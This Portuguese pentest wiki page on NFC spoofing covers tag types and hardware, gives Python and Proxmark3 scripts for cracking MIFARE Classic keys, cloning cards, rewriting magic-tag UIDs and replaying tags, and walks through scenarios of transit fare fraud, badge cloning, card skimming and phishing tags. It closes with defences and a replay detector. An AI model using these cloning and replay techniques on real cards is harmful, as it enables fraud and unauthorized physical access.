# NFC Spoofing

## 📑 **Índice**

1. [Fundamentos do NFC](#-fundamentos-do-nfc)
2. [Tipos de Tags e Cartões NFC](#-tipos-de-tags-e-cartões-nfc)
3. [Hardware para NFC Hacking](#-hardware-para-nfc-hacking)
4. [Técnicas de Spoofing e Clonagem](#-técnicas-de-spoofing-e-clonagem)
5. [Implementação em Hardware](#-implementação-em-hardware)
6. [Cenários de Ataque](#-cenários-de-ataque)
7. [Detecção e Prevenção](#-detecção-e-prevenção)
8. [Equipamentos e Custos](#-equipamentos-e-custos)

***

## 🔍 **Fundamentos do NFC**

### **O que é NFC?**

**Near Field Communication (NFC)** é um protocolo de comunicação sem fio de curto alcance (geralmente até 4 cm) derivado da tecnologia RFID. Opera na frequência de **13.56 MHz** e permite a troca de dados entre dispositivos compatíveis quando aproximados. É amplamente utilizado em pagamentos por aproximação (Google Pay, Apple Pay), cartões de transporte, crachás de acesso, e etiquetas inteligentes.

### **Modos de Operação NFC**

```yaml
Modos de Operação:
  
  Leitor/Escritor (Reader/Writer):
    - Dispositivo ativo lê/escreve tags passivas
    - Ex: Smartphone lendo tag NFC
    - Potência: ativo (fornece energia à tag)
  
  Emulação de Cartão (Card Emulation):
    - Dispositivo atua como um cartão NFC
    - Ex: Smartphone como cartão de crédito
    - Potência: passivo (recebe energia do leitor)
  
  Peer-to-Peer (P2P):
    - Dois dispositivos ativos trocam dados
    - Ex: Transferência de arquivos entre celulares
    - Potência: ambos ativos
  
  Modo de Tag (Tag Mode):
    - Tag passiva armazena dados
    - Ex: Adesivo NFC, cartão de transporte
    - Potência: passivo (sem bateria)
```

### **Frequências e Protocolos**

| Protocolo                    | Frequência | Taxa de Dados | Alcance | Uso Típico                     |
| ---------------------------- | ---------- | ------------- | ------- | ------------------------------ |
| **ISO/IEC 14443 (Type A)**   | 13.56 MHz  | 106-848 kbps  | <10 cm  | Cartões de transporte, MIFARE  |
| **ISO/IEC 14443 (Type B)**   | 13.56 MHz  | 106-848 kbps  | <10 cm  | Cartões de identificação       |
| **ISO/IEC 15693 (Vicinity)** | 13.56 MHz  | 26 kbps       | até 1 m | Controle de acesso, inventário |
| **FeliCa (JIS X 6319-4)**    | 13.56 MHz  | 212-424 kbps  | <10 cm  | Suica, Octopus (Japão)         |
| **MIFARE Classic**           | 13.56 MHz  | 106 kbps      | <10 cm  | Legado (vulnerável)            |
| **MIFARE DESFire**           | 13.56 MHz  | 106-848 kbps  | <10 cm  | Seguro (AES-128)               |

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant R as Leitor NFC (Ativo)
    participant T as Tag NFC (Passiva)
    
    Note over R: 1. Gera campo RF (13.56 MHz)
    R->>T: Campo eletromagnético
    Note over T: 2. Indução alimenta a tag
    T->>T: Tag energizada
    
    Note over R: 3. Modulação de carga
    R->>T: Comando (ex: READ)
    T->>R: Resposta (dados)
    
    Note over T: 4. Tag entra em modo sleep
```

***

## 🏷️ **Tipos de Tags e Cartões NFC**

### **Comparação de Tecnologias**

| Tipo                   | Capacidade | Segurança                 | Clonagem    | Preço (R$) | Uso                  |
| ---------------------- | ---------- | ------------------------- | ----------- | ---------- | -------------------- |
| **MIFARE Classic 1K**  | 1 KB       | Fraca (Crypto-1 quebrado) | Fácil       | \~R$5-15   | Acesso legado        |
| **MIFARE Classic 4K**  | 4 KB       | Fraca                     | Fácil       | \~R$10-25  | Acesso legado        |
| **MIFARE Ultralight**  | 64-192 B   | Nenhuma                   | Muito fácil | \~R$3-10   | Tickets, promoções   |
| **MIFARE DESFire EV2** | 2-8 KB     | Forte (AES-128)           | Difícil     | \~R$30-60  | Pagamentos, acesso   |
| **NTAG21x**            | 48-888 B   | Nenhuma                   | Muito fácil | \~R$5-15   | Etiquetas, marketing |
| **NTAG I2C**           | 888 B      | Nenhuma                   | Muito fácil | \~R$15-30  | IoT, configuração    |
| **Topaz/Jewel**        | 512 B      | Nenhuma                   | Muito fácil | \~R$5-10   | Tickets              |
| **ICODE SLIX**         | 1-2 KB     | Fraca                     | Média       | \~R$15-30  | Biblioteca, ativos   |

### **Estrutura da Memória MIFARE Classic 1K**

```yaml
MIFARE Classic 1K (1,024 bytes):
  
  Setores: 16 setores (0-15)
  Blocos por setor: 4 blocos (0-3)
  Tamanho do bloco: 16 bytes
  
  Setor 0 (Bloco 0):
    - Dados do fabricante (UID)
    - Leitura apenas (não modificável)
  
  Bloco 3 de cada setor (Trailer):
    - Chave A (6 bytes)
    - Access bits (4 bytes)
    - Chave B (6 bytes)
  
  Organização:
    Setor 0: Blocos 0-3 (bloco 3 = trailer)
    Setor 1: Blocos 4-7 (bloco 7 = trailer)
    ...
    Setor 15: Blocos 60-63 (bloco 63 = trailer)
  
  Chaves padrão:
    - FF FF FF FF FF FF (chave padrão de fábrica)
    - A0 A1 A2 A3 A4 A5 (comum)
    - D3 F7 D3 F7 D3 F7 (comum)
```

***

## 🛠️ **Hardware para NFC Hacking**

### **Equipamentos para NFC**

| Equipamento              | Chip/Frequência  | Leitura/Escrita | Preço (R$)    | Onde Comprar         | Uso                 |
| ------------------------ | ---------------- | --------------- | ------------- | -------------------- | ------------------- |
| **Proxmark3 RDV4**       | FPGA + 13.56 MHz | Completa        | \~R$1200-1800 | AliExpress, eBay     | Profissional        |
| **Proxmark3 Easy**       | FPGA + 13.56 MHz | Completa        | \~R$400-600   | AliExpress, Shopee   | Amador/Profissional |
| **ACR122U**              | PN532            | Leitura/Escrita | \~R$200-350   | Mercado Livre        | Básico              |
| **PN532 Board**          | PN532            | Leitura/Escrita | \~R$60-100    | Shopee, AliExpress   | DIY                 |
| **RC522 Module**         | RC522            | Leitura/Escrita | \~R$20-40     | Shopee, AliExpress   | Muito barato        |
| **CHF-B3**               | PN532            | Leitura/Escrita | \~R$80-150    | AliExpress           | Portátil            |
| **NFC Shield (Arduino)** | PN532            | Leitura/Escrita | \~R$80-150    | Shopee, AliExpress   | DIY                 |
| **Flipper Zero**         | ST25R3916        | Completa        | \~R$1500-2000 | (Proibido no Brasil) | Multitool           |
| **Total Setup Básico**   | RC522            | Leitura/Escrita | \~R$30-60     | -                    | -                   |
| **Total Setup Avançado** | Proxmark3        | Completa        | \~R$600-800   | -                    | -                   |

### **RC522 – Setup Básico (Arduino)**

```cpp
// rc522_read.ino - Leitura de tag NFC com RC522
#include <SPI.h>
#include <MFRC522.h>

#define RST_PIN 9
#define SS_PIN 10

MFRC522 mfrc522(SS_PIN, RST_PIN);

void setup() {
    Serial.begin(9600);
    SPI.begin();
    mfrc522.PCD_Init();
    
    Serial.println("[*] RC522 NFC Reader iniciado");
    Serial.println("[*] Aproxime uma tag do leitor");
}

void loop() {
    // Verificar se há nova tag
    if (!mfrc522.PICC_IsNewCardPresent()) {
        return;
    }
    
    // Selecionar tag
    if (!mfrc522.PICC_ReadCardSerial()) {
        return;
    }
    
    // Exibir UID
    Serial.print("[+] UID da tag: ");
    for (byte i = 0; i < mfrc522.uid.size; i++) {
        Serial.print(mfrc522.uid.uidByte[i] < 0x10 ? " 0" : " ");
        Serial.print(mfrc522.uid.uidByte[i], HEX);
    }
    Serial.println();
    
    // Exibir tipo da tag
    MFRC522::PICC_Type piccType = mfrc522.PICC_GetType(mfrc522.uid.sak);
    Serial.print("[+] Tipo: ");
    Serial.println(mfrc522.PICC_GetTypeName(piccType));
    
    // Parar leitura
    mfrc522.PICC_HaltA();
    mfrc522.PCD_StopCrypto1();
}
```

***

## ⚔️ **Técnicas de Spoofing e Clonagem**

### **1. Leitura de Tags NFC**

```python
#!/usr/bin/env python3
# nfc_reader.py

import nfc
import binascii

class NFCReader:
    """
    Leitor de tags NFC usando libnfc
    """
    
    def __init__(self):
        self.connected = False
        self.clf = None
    
    def connect(self):
        """
        Conectar ao leitor NFC
        """
        try:
            self.clf = nfc.ContactlessFrontend('usb')
            self.connected = True
            print("[+] Conectado ao leitor NFC")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    def read_tag(self):
        """
        Ler tag NFC
        """
        if not self.connected:
            return None
        
        print("[*] Aproxime uma tag do leitor...")
        
        tag = self.clf.connect(rdwr={'on-connect': self.tag_connected})
        return tag
    
    def tag_connected(self, tag):
        """
        Callback quando tag é conectada
        """
        print("\n[+] Tag detectada!")
        print(f"    Tipo: {tag.type}")
        print(f"    UID: {binascii.hexlify(tag.identifier).decode()}")
        
        # Tentar ler dados
        if hasattr(tag, 'dump'):
            print("\n[+] Dados da tag:")
            tag.dump()
        
        return True
    
    def read_mifare_classic(self, key='FFFFFFFFFFFF'):
        """
        Ler cartão MIFARE Classic
        """
        print(f"[*] Tentando ler MIFARE Classic com chave {key}")
        
        # Implementação específica para MIFARE
        # Requer libnfc com suporte a crypto
        
        return True

# Uso
# reader = NFCReader()
# reader.connect()
# tag = reader.read_tag()
```

### **2. Clonagem de MIFARE Classic**

```bash
# Usando Proxmark3
# Instalar dependências
sudo apt install build-essential libreadline-dev libusb-0.1-4-dev

# Clonar Proxmark3
git clone https://github.com/Proxmark/proxmark3.git
cd proxmark3
make clean && make all

# Verificar conexão
pm3

# Escanear tags próximas
pm3 --> hf search

# Ler tag MIFARE Classic
pm3 --> hf mf autopwn

# Salvar dump
pm3 --> hf mf restore

# Clonar para tag virgem
pm3 --> hf mf cload -f dump.eml
```

### **3. Clonagem com Proxmark3 (Python)**

```python
#!/usr/bin/env python3
# proxmark3_clone.py

import subprocess
import time

class Proxmark3Clone:
    """
    Clonagem de cartões NFC usando Proxmark3
    """
    
    def __init__(self, device='/dev/ttyACM0'):
        self.device = device
    
    def run_command(self, cmd):
        """
        Executar comando no Proxmark3
        """
        full_cmd = f"pm3 -c '{cmd}'"
        result = subprocess.run(full_cmd, shell=True, capture_output=True, text=True)
        return result.stdout
    
    def detect_tag(self):
        """
        Detectar tag NFC
        """
        print("[*] Detectando tag...")
        output = self.run_command("hf search")
        
        if "UID" in output:
            print("[+] Tag detectada!")
            return True
        return False
    
    def read_mifare(self):
        """
        Ler MIFARE Classic
        """
        print("[*] Tentando ler MIFARE Classic...")
        
        # Tentar chaves padrão
        self.run_command("hf mf chk * ?")
        
        # Autopwn (tenta quebrar chaves)
        self.run_command("hf mf autopwn")
        
        # Salvar dump
        self.run_command("hf mf dump")
        
        print("[+] Dump salvo em dump.bin")
        return True
    
    def clone_to_blank(self, dump_file='dump.bin'):
        """
        Clonar para tag virgem
        """
        print(f"[*] Clonando para tag virgem usando {dump_file}")
        
        # Carregar dump
        self.run_command(f"hf mf restore -f {dump_file}")
        
        # Verificar clonagem
        self.run_command("hf mf rdsc")
        
        print("[+] Clonagem concluída!")
        return True
    
    def emulate_tag(self, dump_file='dump.bin'):
        """
        Emular tag a partir do dump
        """
        print(f"[*] Emulando tag a partir de {dump_file}")
        
        # Carregar dump para memória
        self.run_command(f"hf mf sim -f {dump_file}")
        
        print("[+] Emulação ativa")
        return True

# Uso
# clone = Proxmark3Clone()
# clone.detect_tag()
# clone.read_mifare()
# clone.clone_to_blank()
```

### **4. Spoofing de UID (Magic Tags)**

```python
#!/usr/bin/env python3
# magic_tag_writer.py

from smartcard.System import readers
from smartcard.util import toBytes
import time

class MagicTagWriter:
    """
    Escrita de Magic Tags (UID modificável)
    NOTA: Magic tags são tags chinesas com UID gravável
    """
    
    def __init__(self):
        self.reader = None
        self.connection = None
    
    def find_reader(self):
        """
        Encontrar leitor NFC
        """
        readers_list = readers()
        if not readers_list:
            print("[-] Nenhum leitor encontrado")
            return False
        
        self.reader = readers_list[0]
        print(f"[+] Leitor: {self.reader}")
        return True
    
    def connect_tag(self):
        """
        Conectar à tag
        """
        if not self.reader:
            return False
        
        try:
            self.connection = self.reader.createConnection()
            self.connection.connect()
            print("[+] Tag conectada")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    def write_uid(self, new_uid):
        """
        Escrever novo UID na magic tag
        """
        if not self.connection:
            return False
        
        # Comando para escrever UID (varia por tag)
        # Exemplo para magic tag Gen1
        cmd = [0xFF, 0x00, 0x00, 0x00, 0x04] + list(toBytes(new_uid))
        
        try:
            data, sw1, sw2 = self.connection.transmit(cmd)
            if sw1 == 0x90 and sw2 == 0x00:
                print(f"[+] UID alterado para {new_uid}")
                return True
        except Exception as e:
            print(f"[-] Erro: {e}")
        
        return False
    
    def write_block(self, block, data):
        """
        Escrever bloco de dados
        """
        if not self.connection:
            return False
        
        # Comando de escrita
        cmd = [0xFF, 0xD6, 0x00, block, 0x10] + list(data)
        
        try:
            data, sw1, sw2 = self.connection.transmit(cmd)
            return sw1 == 0x90 and sw2 == 0x00
        except:
            return False

# Uso
# writer = MagicTagWriter()
# writer.find_reader()
# writer.connect_tag()
# writer.write_uid("11223344556677")
```

### **5. Ataque de Replay**

```python
#!/usr/bin/env python3
# nfc_replay.py

import nfc
import time
import threading

class NFCReplay:
    """
    Ataque de replay em sistemas NFC
    """
    
    def __init__(self):
        self.captured_data = None
        self.replaying = False
    
    def capture_tag(self):
        """
        Capturar dados da tag original
        """
        print("[*] Aproxime a tag ORIGINAL do leitor")
        
        clf = nfc.ContactlessFrontend('usb')
        tag = clf.connect(rdwr={'on-connect': self.capture_callback})
        
        clf.close()
        return self.captured_data
    
    def capture_callback(self, tag):
        """
        Callback para captura
        """
        print("[+] Tag capturada!")
        
        # Extrair dados
        self.captured_data = {
            'uid': tag.identifier.hex(),
            'type': tag.type,
            'data': tag.dump() if hasattr(tag, 'dump') else None
        }
        
        return True
    
    def emulate_tag(self):
        """
        Emular tag capturada
        """
        if not self.captured_data:
            print("[-] Nenhum dado capturado")
            return False
        
        print("[*] Emulando tag...")
        print("[*] Aproxime o dispositivo do leitor alvo")
        
        # Emulação via hardware (ex: Proxmark3)
        # subprocess.run(f"pm3 -c 'hf 14a sim -u {self.captured_data['uid']}'", shell=True)
        
        self.replaying = True
        return True
    
    def replay_attack(self):
        """
        Executar ataque completo
        """
        print("=== Ataque de Replay NFC ===\n")
        
        # 1. Capturar tag original
        if not self.capture_tag():
            print("[-] Falha na captura")
            return False
        
        print(f"\n[+] Dados capturados:")
        print(f"    UID: {self.captured_data['uid']}")
        print(f"    Tipo: {self.captured_data['type']}")
        
        # 2. Emular tag
        self.emulate_tag()
        
        print("\n[+] Ataque de replay bem-sucedido!")
        return True

# Uso
# replay = NFCReplay()
# replay.replay_attack()
```

***

## 💳 **Cenários de Ataque**

### **Cenário 1: Clonagem de Cartão de Transporte**

```yaml
Cenário: Bilhete Único / Cartão de Transporte
  
  Tecnologia: MIFARE Classic (vulnerável)
  
  Procedimento:
    1. Atacante obtém cartão legítimo
    2. Lê o cartão com Proxmark3
    3. Quebra chaves Crypto-1 (autopwn)
    4. Dump completo do cartão
    5. Grava em tag virgem (magic tag)
    6. Usa cartão clonado no sistema
  
  Equipamento:
    - Proxmark3 (~R$500)
    - Magic tags (~R$10)
  
  Impacto:
    - Viagens gratuitas
    - Saldo ilimitado
    - Acesso a áreas restritas
```

### **Cenário 2: Acesso a Prédio**

```yaml
Cenário: Controle de acesso corporativo
  
  Tecnologia: MIFARE Classic ou HID iClass
  
  Procedimento:
    1. Atacante se aproxima do crachá da vítima
    2. Escaneia o crachá com leitor portátil
    3. Clona o UID e dados de acesso
    4. Grava em tag ou cartão virgem
    5. Acessa áreas restritas
  
  Equipamento:
    - Proxmark3 ou ACR122U (~R$300)
    - Tags compatíveis (~R$10)
  
  Alcance: até 10 cm
  
  Impacto:
    - Acesso não autorizado
    - Invasão de áreas restritas
    - Roubo de informações
```

### **Cenário 3: Pagamento por Aproximação**

```yaml
Cenário: Cartão de crédito contactless
  
  Tecnologia: MIFARE DESFire (seguro) ou EMVCo
  
  Procedimento:
    1. Atacante se aproxima da vítima (10 cm)
    2. Lê dados do cartão com leitor portátil
    3. Captura número do cartão, validade
    4. (Não consegue clonar devido a criptografia)
    5. Usa dados para compras online (sem CVV)
  
  Equipamento:
    - Leitor NFC portátil (~R$100)
    - Aplicativo de leitura
  
  Alcance: até 10 cm
  
  Impacto:
    - Leitura de dados do cartão
    - Compras online não autorizadas
    - (Clonagem física não é possível)
```

### **Cenário 4: Evil Tag (Phishing)**

```yaml
Cenário: Tag NFC maliciosa em local público
  
  Procedimento:
    1. Atacante coloca tag NFC em local visível
    2. Tag contém URL maliciosa (ex: "bit.ly/free-wifi")
    3. Vítima aproxima smartphone
    4. Telefone abre URL automaticamente
    5. Site de phishing captura credenciais
  
  Equipamento:
    - Tags NTAG210 (~R$5)
    - Impressora de adesivos
  
  Alcance: contato direto
  
  Impacto:
    - Captura de credenciais
    - Instalação de malware
    - Redirecionamento para sites falsos
```

***

## 🛡️ **Detecção e Prevenção**

### **Sinais de Ataque NFC**

```yaml
Indicadores para Usuários:
  - Cartão sendo lido sem aproximação intencional
  - Leitor NFC ativado em local público
  - Tag NFC desconhecida em locais suspeitos
  - Notificações de NFC no celular sem motivo

Indicadores para Sistemas:
  - Múltiplas leituras do mesmo UID em curto período
  - Tentativas de acesso com UID clonado
  - Leituras fora do padrão (timing anormal)
  - Tentativas de autenticação com chaves inválidas
```

### **Proteções para Cartões**

```yaml
Proteções:
  
  Para Cartões de Transporte:
    - Uso de MIFARE DESFire (AES-128) em vez de Classic
    - Implementar rotação de chaves
    - Monitoramento de clonagem
  
  Para Controle de Acesso:
    - Uso de cartões com criptografia forte
    - Autenticação mútua (leitor → cartão, cartão → leitor)
    - Implementar anti-clonagem (UID + dados criptografados)
    - Monitorar tentativas de acesso suspeitas
  
  Para Pagamentos:
    - EMVCo com criptografia forte
    - Limites por transação
    - Autenticação adicional para valores altos
    - Bloqueio remoto de cartões
  
  Para Usuários:
    - Usar carteiras com bloqueio RFID
    - Desativar NFC quando não estiver usando
    - Verificar URL antes de clicar em tags
    - Monitorar extratos bancários
```

### **Carteira com Bloqueio RFID**

```yaml
Tipos de Proteção RFID:
  
  Carteiras com Blindagem:
    - Material: alumínio, cobre, fibra de carbono
    - Preço: R$50-200
    - Eficácia: bloqueia 100% das leituras
    - Onde comprar: Mercado Livre, Amazon, Shopee
  
  Protetores Individuais:
    - Cartões de bloqueio (ativam bloqueio ativo)
    - Capas para cartão
    - Preço: R$10-30
  
  DIY:
    - Papel alumínio (efetivo, mas frágil)
    - Envelope metalizado
    - Preço: quase zero
```

### **Ferramentas de Detecção**

```python
#!/usr/bin/env python3
# nfc_attack_detector.py

class NFCAttackDetector:
    """
    Detector de ataques NFC
    """
    
    @staticmethod
    def detect_replay_attack(log_file='nfc_logs.txt'):
        """
        Detectar ataques de replay
        """
        print("[*] Analisando logs para replay attacks...")
        
        # Carregar logs
        uid_timestamps = {}
        
        with open(log_file, 'r') as f:
            for line in f:
                # Parse UID e timestamp
                # Exemplo: "2024-01-01 12:00:00 UID: 11223344556677"
                parts = line.split()
                if len(parts) >= 3:
                    timestamp = parts[0] + " " + parts[1]
                    uid = parts[3]
                    
                    if uid not in uid_timestamps:
                        uid_timestamps[uid] = []
                    uid_timestamps[uid].append(timestamp)
        
        # Detectar anomalias
        suspicious = []
        for uid, timestamps in uid_timestamps.items():
            if len(timestamps) > 10:
                suspicious.append({
                    'uid': uid,
                    'count': len(timestamps),
                    'reason': 'Múltiplas leituras em curto período'
                })
        
        return suspicious
    
    @staticmethod
    def check_uid_blacklist(uid, blacklist_file='blacklist.txt'):
        """
        Verificar UID em blacklist
        """
        with open(blacklist_file, 'r') as f:
            blacklist = [line.strip() for line in f]
        
        return uid in blacklist

# Uso
# detector = NFCAttackDetector()
# suspicious = detector.detect_replay_attack()
# for s in suspicious:
#     print(f"[!] UID suspeito: {s['uid']} ({s['count']} leituras)")
```

***

## 📊 **Conclusão**

### **Resumo Técnico**

```yaml
NFC Spoofing:
  ✅ Técnica acessível (equipamento a partir de R$50)
  ✅ Eficaz contra sistemas legados (MIFARE Classic)
  ✅ Pode ser usado para clonagem, replay, phishing
  ✅ Tags são baratas (R$5-30)

Ameaças:
  - Clonagem de cartões de transporte
  - Acesso não autorizado a prédios
  - Leitura de dados de cartões de crédito
  - Phishing via tags NFC

Defesas:
  - Carteiras com bloqueio RFID
  - Cartões com criptografia forte (DESFire)
  - Monitoramento de logs
  - Autenticação mútua
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/iot/nfc-spoofing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.